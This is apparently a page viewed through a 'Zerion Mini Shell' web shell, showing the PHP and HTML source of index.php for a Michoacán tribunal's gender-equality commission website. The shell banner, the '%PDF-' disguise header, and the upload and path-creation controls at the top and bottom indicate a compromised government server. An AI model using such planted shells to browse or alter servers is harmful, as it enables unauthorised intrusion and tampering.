%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/genero.tjamich.gob.mx/
Upload File :
Create Path :
Current File : /home/tjamichg/genero.tjamich.gob.mx/index.php

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>TAAM</title>

    <link rel="shortcut icon" href="imgs/logo-taam-4k-2vs.png" type="image/x-icon" />



		<link rel="apple-touch-icon" href="imgs/logo-taam-4k-2vs.png">



    <link rel="stylesheet" href="styles.css">

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">







    <!--INTEGRA2-->



    <script src='https://code.jquery.com/jquery-3.4.1.min.js' type='text/javascript'></script>



    <script src="https://www.infomexsinaloa.org/accesibilidadweb/js_api.aspx?api_key=7366D81C-ABBD-4ED9-91AE-6C7A0FFFE0EC&tipo=header&aut=tjamich.gob.mx" type="text/javascript"></script>

    

</head>



<body>

    <style>

    .subtitulo-igm {

  font-size: 27px;

  font-weight: bold;

  background: linear-gradient(to right, #8D85B0, #ff96f1); /* 🎨 Degradado */

  -webkit-background-clip: text;   /* Aplica el fondo al texto */

  -webkit-text-fill-color: transparent; /* Hace transparente el relleno del texto */

}



.container-titulo-igm {

  overflow: visible;

  padding: 20px 0;

}



.titulo-igm {

  font-size: 55px; /* tamaño grande */

  font-weight: bold;

  line-height: 1.2;

  background: linear-gradient(to right, #8D85B0, #ff96f1);

  -webkit-background-clip: text;

  -webkit-text-fill-color: transparent;

}



.igm-slider {

  display: flex;

  flex-wrap: wrap;      /* permite que los videos salten a otra línea si no caben */

  gap: 20px;            /* separación entre videos */

  justify-content: center;

}



.lightbox {

  display: none; /* importante: oculto por defecto */

  position: fixed;

  z-index: 99999;

  top: 0;

  left: 0;

  width: 100%;

  height: 100%;

  background: rgba(0,0,0,0.9);

  justify-content: center;

  align-items: center;

  flex-direction: row;

}



.lightbox-content {

  max-width: 90%;

  max-height: 80%;

  border-radius: 8px;

  object-fit: contain;

}



.close-btn {

  position: fixed;

  top: 20px;

  right: 35px;

  background: none;

  border: none;

  color: white;

  font-size: 50px;

  cursor: pointer;

  z-index: 100001;

}



.arrow-btn {

  position: fixed;

  top: 50%;

  background: none;

  border: none;

  color: white;

  font-size: 50px;

  cursor: pointer;

  z-index: 100001;

  transform: translateY(-50%);

}



#prevBtn { left: 20px; }

#nextBtn { right: 20px; }



.close-btn:hover,

.arrow-btn:hover { color: #bbb; }





.row-nuevo {

  display: flex;

  flex-wrap: wrap; /* si la pantalla es chica, bajan */

  gap: 15px;       /* espacio entre los videos */

  justify-content: center; /* centrar contenido */

}



.container-iframe-igm {

  flex: 1 1 30%; /* cada video ocupa aprox 1/3 del ancho */

  max-width: 30%;

}



.igm-video-iframe {

  width: 100%;

  height: 250px; /* puedes ajustar altura */

  border-radius: 8px; /* bordes redondeados opcionales */

}

.process-image strong {

    color: #E6139E;

    /*text-transform: uppercase;*/

    font-family: "Trebuchet MS", Verdana, sans-serif !important;

}



.container-banner-defensorias2 {

    display: flex;

    justify-content: center;

    align-items: center;

    margin: 50px auto;

    cursor: pointer;

  }



  .banner-defensorias2 {

    width: 1000px !important;

    height: auto !important;

    display: block;

  }

  

  .img-redondeada {

    border-radius: 10px;

}



    /* Efecto al pasar el mouse */

  .container-banner-defensorias2:hover .banner-defensorias2 {

    transform: scale(1.03);

  }

  

  .container-info-redes .container-redes a {

  color: inherit; /* Usa el color actual del texto (puedes cambiarlo si quieres otro base) */

  text-decoration: none;

  transition: color 0.3s ease; /* Suaviza el cambio de color */

}



.container-info-redes .container-redes a:hover {

  color: #933557; /* Color vino cuando pasas el cursor */

}



  

.container-info-redes .container-redes a:hover i {

  color: #933557 !important;

}





</style>

  <script src="https://www.infomexsinaloa.org/accesibilidadweb/js_api.aspx?api_key=7366D81C-ABBD-4ED9-91AE-6C7A0FFFE0EC&tipo=body&aut=tjamich.gob.mx" type="text/javascript"></script>



    <?php 

        require("conn.php");

        $error = "";

        

    ?>



  <div class="container-top-cmasc" id="topbar">

    <div class="container-logo-top-cmasc">

      <img class="logo-top-cmasc" src="imgs/logo-taam-4k.png" alt="">

    </div>

    <div class="container-href-cmasc">

      <p class="href-cmasc" style="color:gray;" onclick="window.open('https://portal.tjamich.gob.mx/Tribunal-en-Materia-Anticorrupci%C3%B3n-y-Administrativa-de-Michoacan-de-Ocampo', '_blank')">Ir al sitio principal</p>

    </div>

  </div>





    <nav class="cmasc-navbar" role="navigation" aria-label="Menú principal" id="navbar">

  <div class="cmasc-logo">

    <img class="cmasc-logo-img" src="imgs/logo_genero.png" alt="Logo CMASC">

  </div>

    <div class="container-titulo" >

        <p class="subtitulo-igm">Comisión para la Igualdad de Género</p>

    </div>

  <div class="cmasc-toggle" id="cmasc-toggle" aria-label="Abrir menú" aria-expanded="false">

    <span class="cmasc-toggle-bar"></span>

    <span class="cmasc-toggle-bar"></span>

    <span class="cmasc-toggle-bar"></span>

  </div>



  <ul class="cmasc-nav-links" id="cmasc-nav">

    <li class="cmasc-nav-item"><a class="cmasc-nav-link" href="#">Inicio</a></li>

    <li class="cmasc-nav-item"><a class="cmasc-nav-link" href="#cursos">Cursos</a></li>

        <li class="cmasc-nav-item"><a class="cmasc-nav-link" href="#sobrelacomision">Sobre el comité</a></li>

    <li class="cmasc-nav-item"><a class="cmasc-nav-link" href="#revistagenero">Revista "Justicia y Género"</a></li>

        <li class="cmasc-nav-item"><a class="cmasc-nav-link" href="#videosyoutube">Voces de Juzgadoras</a></li>



  </ul>

</nav>

    <br><br>

    <br><br>





    <div class="carousel-container" >

        <?php
        /*

		$sql = "SELECT id_noticia as id, fecha2 as fecha, fecha as fechae, titulo, imagen1, 'N' as tipo FROM noticias WHERE categoria = 'Equidad de Genero' ORDER BY fecha DESC limit 5";

			
    	$resportada = mysqli_query($conn, $sql);

    	

    	// Obtenemos todos los resultados en un array

        $noticias = mysqli_fetch_all($resportada, MYSQLI_ASSOC);

        

        // Número total de registros

        $total = count($noticias);

      for ($i = 0; $i < $total; $i++) {

        $portada_id_noticia = $noticias[$i]['id'];

        $portada_titulo     = $noticias[$i]['titulo'];

        $portada_imagen     = $noticias[$i]['imagen1'];

        $tipo               = $noticias[$i]['tipo'];  

        $contador = $i +1;

        echo "<div class=\"mySlides animate\">";

        echo"<img src=\"https://portal.tjamich.gob.mx/img/noticias/$portada_imagen\" alt=\"$portada_titulo\" />";

        echo "<div class=\"number\">$contador / $total</div> </div>";

      }


*/


	?>

 <div class="mySlides animate">

    <img src="https://genero.tjamich.gob.mx/imgs/portada/1.png" alt="slide 1" />

    <div class="number">1 / 5</div>

  </div>



  <div class="mySlides animate">

    

    <img src="https://genero.tjamich.gob.mx/imgs/portada/2.png" alt="slide 2" />

    <div class="number">2 / 5</div>

  </div>



  <div class="mySlides animate">

    <img src="https://genero.tjamich.gob.mx/imgs/portada/3.png" alt="slide 3" />

    <div class="number">3 / 5</div>

  </div>



  <div class="mySlides animate">

    <img src="https://genero.tjamich.gob.mx/imgs/portada/4.png" alt="slide 4" />

    <div class="number">4 / 5</div>

  </div>



  <div class="mySlides animate">

    <img src="https://genero.tjamich.gob.mx/imgs/portada/5.png" alt="slide 5" />

    <div class="number">5 / 5</div>

  </div>



  <!-- Next and previous buttons -->

  <a class="prev" onclick="prevSlide()">&#10094;</a>

  <a class="next" onclick="nextSlide()">&#10095;</a>



  <!-- The dots/circles -->

  <div class="dots-container">

    <span class="dots" onclick="currentSlide(1)"></span>

    <span class="dots" onclick="currentSlide(2)"></span>

    <span class="dots" onclick="currentSlide(3)"></span>

    <span class="dots" onclick="currentSlide(4)"></span>

    <span class="dots" onclick="currentSlide(5)"></span>

  </div>

</div>

<br><br>



<div class="container-subtitulo-igm" id="cursos">

    <p class="subtitulo-igm">Cursos</p>

  

    <div class="container-banner-defensorias2" data-toggle="modal" data-target="#cursostd">

        <!--onclick="window.open('imgs/FORMACION EN LINEA SOBRE PERSPECTIVA DE GENERO.pdf', '_blank')"-->

        <img class="banner-defensorias2 img-redondeada" src="imgs/BannerIgualdad.png" alt="">

    </div>

  

    

    <div class="container-banner-defensorias2" data-toggle="modal" data-target="#newmasculinidades" >

        <img class="banner-defensorias2 img-redondeada" src="imgs/masculinidades.jpeg" alt="">

    </div>

  

</div>



<div class="container-subtitulo-igm" >

    <p class="subtitulo-igm">Sobre el Comite</p>

</div>



<?

    include 'apartado.php';

?>



    <br><br>

<div class="container-subtitulo-igm"  id="revistagenero">

    <p class="subtitulo-igm">Revista "Justicia y Género"</p>

</div>



<div class="cmasc-revistas" >



  <div class="container-revista-cmasc" >

  <div class="cmasc-revista" onclick="window.open('https://portal.tjamich.gob.mx/Igualdad-de-Genero/revistas/revista2/index.html', '_blank')">

    

    <div class="cmasc-fondo"></div>

    <img src="imgs/478_Revista2.jpg" alt="Revista 1">

  </div>

  <p class="titulo-revista">Edición 2</p>

</div>



  <div class="container-revista-cmasc">

  <div class="cmasc-revista" onclick="window.open('https://portal.tjamich.gob.mx/Igualdad-de-Genero/revistas/revista1/index.html', '_blank')">

    

    <div class="cmasc-fondo"></div>

    <img src="imgs/11_portada1.jpg" alt="Revista 2">

  </div>

  <p class="titulo-revista">Edición 1</p>

</div>



</div>



<div class="container-subtitulo-igm"  id="videosyoutube">

    <p class="subtitulo-igm">Voces de Juzgadoras</p>

</div>



<div class="gallery-5" id="igm-slider" >

    <div class = "row-nuevo">

  <div class="container-iframe-igm">

    <iframe class="igm-video-iframe" src="https://www.youtube.com/embed/dPHxGBtgmmQ?si=QNS_WdTD-VjY8tMp" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

  </div>

  <div class="container-iframe-igm">

      <iframe class="igm-video-iframe" src="https://www.youtube.com/embed/SfRPbiP5jt4?si=SzIcuw-V1tEeRUwm" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

  </div>

  <div class="container-iframe-igm">

      <iframe class="igm-video-iframe" src="https://www.youtube.com/embed/G3x82LCzTCg?si=abh3X6zxLqxC3CsX" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

  </div>

  </div>

</div>





<div class="container-servicios-igm"  style="display: none;">



  <div class="container-op-igm">

    <div class="container-icon-igm">

      <img class="icon-igm" src="imgs/logo-igualdad-genero-mujeres.png" alt="">

    </div>

    <div class="container-text-igm">

      <p class="text-igm">Sobre la Comisión</p>

    </div>

  </div>



  <div class="container-op-igm">

    <div class="container-icon-igm">

      <img class="icon-igm" src="imgs/microfono.png" alt="">

    </div>

    <div class="container-text-igm">

      <p class="text-igm">Voces de Juzgadoras</p>

    </div>

  </div>



  <div class="container-op-igm">

    <div class="container-icon-igm">

      <img class="icon-igm" src="imgs/juicio.png" alt="">

    </div>

    <div class="container-text-igm">

      <p class="text-igm">Sentencias del Tribunal</p>

    </div>

  </div>

  <div class="container-op-igm">

    <div class="container-icon-igm">

      <img class="icon-igm" src="imgs/conversacion.png" alt="">

    </div>

    <div class="container-text-igm">

      <p class="text-igm">En la Opinión de...</p>

    </div>

  </div>

  <div class="container-op-igm">

    <div class="container-icon-igm">

      <img class="icon-igm" src="imgs/calendario.png" alt="">

    </div>

    <div class="container-text-igm">

      <p class="text-igm">Fechas Importantes</p>

    </div>

  </div>

  <div class="container-op-igm">

    <div class="container-icon-igm">

      <img class="icon-igm" src="imgs/libro.png" alt="">

    </div>

    <div class="container-text-igm">

      <p class="text-igm">Normatividad</p>

    </div>

  </div>

  <div class="container-op-igm">

    <div class="container-icon-igm">

      <img class="icon-igm" src="imgs/signo-de-interrogacion.png" alt="">

    </div>

    <div class="container-text-igm">

      <p class="text-igm">¿Sabías Qué?</p>

    </div>

  </div>

  <div class="container-op-igm">

    <div class="container-icon-igm">

      <img class="icon-igm" src="imgs/mujer.png" alt="">

    </div>

    <div class="container-text-igm">

      <p class="text-igm">Mujeres Destacadas</p>

    </div>

  </div>

</div>



<!-- Lightbox -->

<div id="lightbox" class="lightbox">

    <button id="prevBtn" class="arrow-btn">&#10094;</button>

    <img id="lightbox-img" class="lightbox-content" src="">

    <button id="nextBtn" class="arrow-btn">&#10095;</button>

    <button id="closeLightbox" class="close-btn">&times;</button>

</div>







<div class="gallery-5"  >

    

    <div class="container-subtitulo-igm"  id="actividades">

    <p class="subtitulo-igm">Actividades</p>

</div>

<br>

  <!--<div class="gallery-row">

    <!-- Columna izquierda -->

    <!--<div class="gallery-col left">

      <div class="gallery-img large" data-aos="fade-up">

        <img src="imgs/igm-1.jpg" alt="img1">

      </div>

      <div class="gallery-img-row">

        <div class="gallery-img small" data-aos="fade-down">

          <img src="imgs/igm-2.jpg" alt="img2">

        </div>

        <div class="gallery-img small" data-aos="fade-down">

          <img src="imgs/igm-3.jpg" alt="img3">

        </div>

      </div>

    </div>-->



    <!-- Columna derecha -->

    <!--<div class="gallery-col right">

      <div class="gallery-img-row">

        <div class="gallery-img small" data-aos="fade-right">

          <img src="imgs/igm-4.jpg" alt="img4">

        </div>

        <div class="gallery-img small" data-aos="fade-left">

          <img src="imgs/igm-5.jpg" alt="img5">

        </div>

      </div>

    </div>

  </div>-->

  <div class="row">

      <?php

		$sql = "SELECT * FROM genero_actividades  ORDER BY id_actividad DESC limit 9";

		$resportada = mysqli_query($conn, $sql);

    	

    	// Obtenemos todos los resultados en un array

        $noticias = mysqli_fetch_all($resportada, MYSQLI_ASSOC);

        

        // Número total de registros

        $total = count($noticias);

      for ($i = 0; $i < $total; $i++) {

        $actividad_id = $noticias[$i]['id_actividad'];

        $nombre_actividad    = utf8_encode($noticias[$i]['nombre']);

        $url_foto    = utf8_encode($noticias[$i]['url_foto']);

        

        echo "<figure class=\"col-md-4\">

          <a class=\"black-text open-lightbox\" href=\"#\" data-id=\"$actividad_id\" data-large=\"$url_foto\" style=\"display:inline-block;\">

            <img style=\"width:500px; height:600px; object-fit:cover; display:block;\" class=\"img-thumbnail\" src=\"$url_foto \" alt=\"img\">

            <h6 style=\"max-width:500px; margin-top:8px; word-wrap:break-word; white-space:normal;\">$nombre_actividad</h6> 

          </a>

        </figure>";

      }

	?>

       

    </div>

</div>





<footer class="footer-general"  id="contactodire">

      <div class="container-igm-footer">

          

          <div class="container-info" >

          <div class="container-img-footer">

            <img class="cmasc-logo-footer" src="imgs/logo-taam-4k-2vs.png" alt="">

          </div>

        </div>



        <div class="container-info">

          <div class="container-contactos">

          <h1 class="cmasc-tit-footer">Morelia</h1>

          <ul class="cmasc-lista">

            <li class="cmasc-item">

              <i class="fa fa-map-marker cmasc-icono"></i> Av. Francisco I. Madero # 1622, 58190 Morelia, Michoacán.

            </li>

          </ul>

         

          </div>

        </div>





       





        <div class="container-info-redes">

          <div class="container-redes">

            <a href="https://twitter.com/TJAMich" target="_blank" title="Twitter"><i class="fa-brands fa-x-twitter"></i></a>

            

          </div>

          <div class="container-redes">

            <a href="https://www.youtube.com/channel/UCPK3sqK1k4vPMzc2NfEP-vA/videos" target="_blank" title="YouTube"><i class="fa-brands fa-youtube"></i></a>

          </div>

          <div class="container-redes">

            <a href="https://www.facebook.com/tjamich" target="_blank" title="Facebook"><i class="fa-brands fa-facebook"></i></a>

          </div>

        </div>



        <div class="container-info" >

          <div class="container-img-footer">

            <img class="cmasc-logo-footer" src="imgs/logo_genero.png" alt="">

          </div>

        </div>





      </div>

    </footer>



    <script src="script.js"></script>

    <script src="https://unpkg.com/@tabler/icons@latest/iconfont/tabler-icons.min.js"></script>





    <script src="https://www.infomexsinaloa.org/accesibilidadweb/js_api.aspx?api_key=7366D81C-ABBD-4ED9-91AE-6C7A0FFFE0EC&tipo=footer&aut=tjamich.gob.mx" type="text/javascript"></script>

</body>



<script>

   const lightbox = document.getElementById('lightbox');

const lightboxImg = document.getElementById('lightbox-img');

const closeBtn = document.getElementById('closeLightbox');

const nextBtn = document.getElementById('nextBtn');

const prevBtn = document.getElementById('prevBtn');



let fotos = [];

let indice = 0;



document.querySelectorAll('.open-lightbox').forEach(link => {

  link.addEventListener('click', e => {

    e.preventDefault();

    const actividadId = link.dataset.id;

    const principal = link.dataset.large;



    fetch(`getGaleria.php?id_actividad=${actividadId}`)

      .then(res => res.json())

      .then(data => {

        fotos = [];

        if(principal) fotos.push(principal);

        if(Array.isArray(data) && data.length > 0) {

          data.forEach(f => {

            if(f.url_foto && f.url_foto !== principal) fotos.push(f.url_foto);

          });

        }



        if(fotos.length === 0){

          // si no hay fotos, solo no abrir nada

          return;

        }



        indice = 0;

        lightboxImg.src = fotos[indice];

        lightbox.style.display = 'flex';

        document.body.style.overflow = 'hidden';



        // Mostrar u ocultar flechas

        if(fotos.length > 1){

          nextBtn.style.display = 'block';

          prevBtn.style.display = 'block';

        } else {

          nextBtn.style.display = 'none';

          prevBtn.style.display = 'none';

        }

      })

      .catch(err => console.error(err));

  });

});



// Navegación

nextBtn.addEventListener('click', e => {

  e.stopPropagation();

  indice = (indice + 1) % fotos.length;

  lightboxImg.src = fotos[indice];

});



prevBtn.addEventListener('click', e => {

  e.stopPropagation();

  indice = (indice - 1 + fotos.length) % fotos.length;

  lightboxImg.src = fotos[indice];

});



// Cerrar lightbox

function cerrarLightbox() {

  lightbox.style.display = 'none';

  document.body.style.overflow = 'auto';

}



closeBtn.addEventListener('click', cerrarLightbox);

lightbox.addEventListener('click', e => {

  if(e.target === lightbox) cerrarLightbox();

});





    

    



    let modalId = $('#image-gallery');







$(document)



  .ready(function () {







    loadGallery(true, 'a.thumbnail');







    //This function disables buttons when needed



    function disableButtons(counter_max, counter_current) {



      $('#show-previous-image, #show-next-image')



        .show();



      if (counter_max === counter_current) {



        $('#show-next-image')



          .hide();



      } else if (counter_current === 1) {



        $('#show-previous-image')



          .hide();



      }



    }







    /**



     *



     * @param setIDs        Sets IDs when DOM is loaded. If using a PHP counter, set to false.



     * @param setClickAttr  Sets the attribute for the click handler.



     */







    function loadGallery(setIDs, setClickAttr) {



      let current_image,



        selector,



        counter = 0;







      $('#show-next-image, #show-previous-image')



        .click(function () {



          if ($(this)



            .attr('id') === 'show-previous-image') {



            current_image--;



          } else {



            current_image++;



          }







          selector = $('[data-image-id="' + current_image + '"]');



          updateGallery(selector);



        });







      function updateGallery(selector) {



        let $sel = selector;



        current_image = $sel.data('image-id');



        $('#image-gallery-title')



          .text($sel.data('title'));



        $('#image-gallery-image')



          .attr('src', $sel.data('image'));



        disableButtons(counter, $sel.data('image-id'));



      }







      if (setIDs == true) {



        $('[data-image-id]')



          .each(function () {



            counter++;



            $(this)



              .attr('data-image-id', counter);



          });



      }



      $(setClickAttr)



        .on('click', function () {



          updateGallery($(this));



        });



    }



  });







// build key actions



$(document)



  .keydown(function (e) {



    switch (e.which) {



      case 37: // left



        if ((modalId.data('bs.modal') || {})._isShown && $('#show-previous-image').is(":visible")) {



          $('#show-previous-image')



            .click();



        }



        break;







      case 39: // right



        if ((modalId.data('bs.modal') || {})._isShown && $('#show-next-image').is(":visible")) {



          $('#show-next-image')



            .click();



        }



        break;







      default:



        return; // exit this handler for other keys



    }



    e.preventDefault(); // prevent the default action (scroll / move caret)



  });



$(document).ready(function () {



    var itemsMainDiv = ('.MultiCarousel');



    var itemsDiv = ('.MultiCarousel-inner');



    var itemWidth = "";







    $('.leftLst, .rightLst').click(function () {



        var condition = $(this).hasClass("leftLst");



        if (condition)



            click(0, this);



        else



            click(1, this)



    });







    ResCarouselSize();



















    $(window).resize(function () {



        ResCarouselSize();



    });







    //this function define the size of the items



    function ResCarouselSize() {



        var incno = 0;



        var dataItems = ("data-items");



        var itemClass = ('.item');



        var id = 0;



        var btnParentSb = '';



        var itemsSplit = '';



        var sampwidth = $(itemsMainDiv).width();



        var bodyWidth = $('body').width();



        $(itemsDiv).each(function () {



            id = id + 1;



            var itemNumbers = $(this).find(itemClass).length;



            btnParentSb = $(this).parent().attr(dataItems);



            itemsSplit = btnParentSb.split(',');



            $(this).parent().attr("id", "MultiCarousel" + id);











            if (bodyWidth >= 1200) {



                incno = itemsSplit[3];



                itemWidth = sampwidth / incno;



            }



            else if (bodyWidth >= 992) {



                incno = itemsSplit[2];



                itemWidth = sampwidth / incno;



            }



            else if (bodyWidth >= 768) {



                incno = itemsSplit[1];



                itemWidth = sampwidth / incno;



            }



            else {



                incno = itemsSplit[0];



                itemWidth = sampwidth / incno;



            }



            $(this).css({ 'transform': 'translateX(0px)', 'width': itemWidth * itemNumbers });



            $(this).find(itemClass).each(function () {



                $(this).outerWidth(itemWidth);



            });







            $(".leftLst").addClass("over");



            $(".rightLst").removeClass("over");







        });



    }











    //this function used to move the items



    function ResCarousel(e, el, s) {



        var leftBtn = ('.leftLst');



        var rightBtn = ('.rightLst');



        var translateXval = '';



        var divStyle = $(el + ' ' + itemsDiv).css('transform');



        var values = divStyle.match(/-?[\d\.]+/g);



        var xds = Math.abs(values[4]);



        if (e == 0) {



            translateXval = parseInt(xds) - parseInt(itemWidth * s);



            $(el + ' ' + rightBtn).removeClass("over");







            if (translateXval <= itemWidth / 2) {



                translateXval = 0;



                $(el + ' ' + leftBtn).addClass("over");



            }



        }



        else if (e == 1) {



            var itemsCondition = $(el).find(itemsDiv).width() - $(el).width();



            translateXval = parseInt(xds) + parseInt(itemWidth * s);



            $(el + ' ' + leftBtn).removeClass("over");







            if (translateXval >= itemsCondition - itemWidth / 2) {



                translateXval = itemsCondition;



                $(el + ' ' + rightBtn).addClass("over");



            }



        }



        $(el + ' ' + itemsDiv).css('transform', 'translateX(' + -translateXval + 'px)');



    }







    //It is used to get some elements from btn



    function click(ell, ee) {



        var Parent = "#" + $(ee).parent().attr("id");



        var slide = $(Parent).attr("data-slide");



        ResCarousel(ell, Parent, slide);



    }







});



</script>

</html>

Zerion Mini Shell 1.0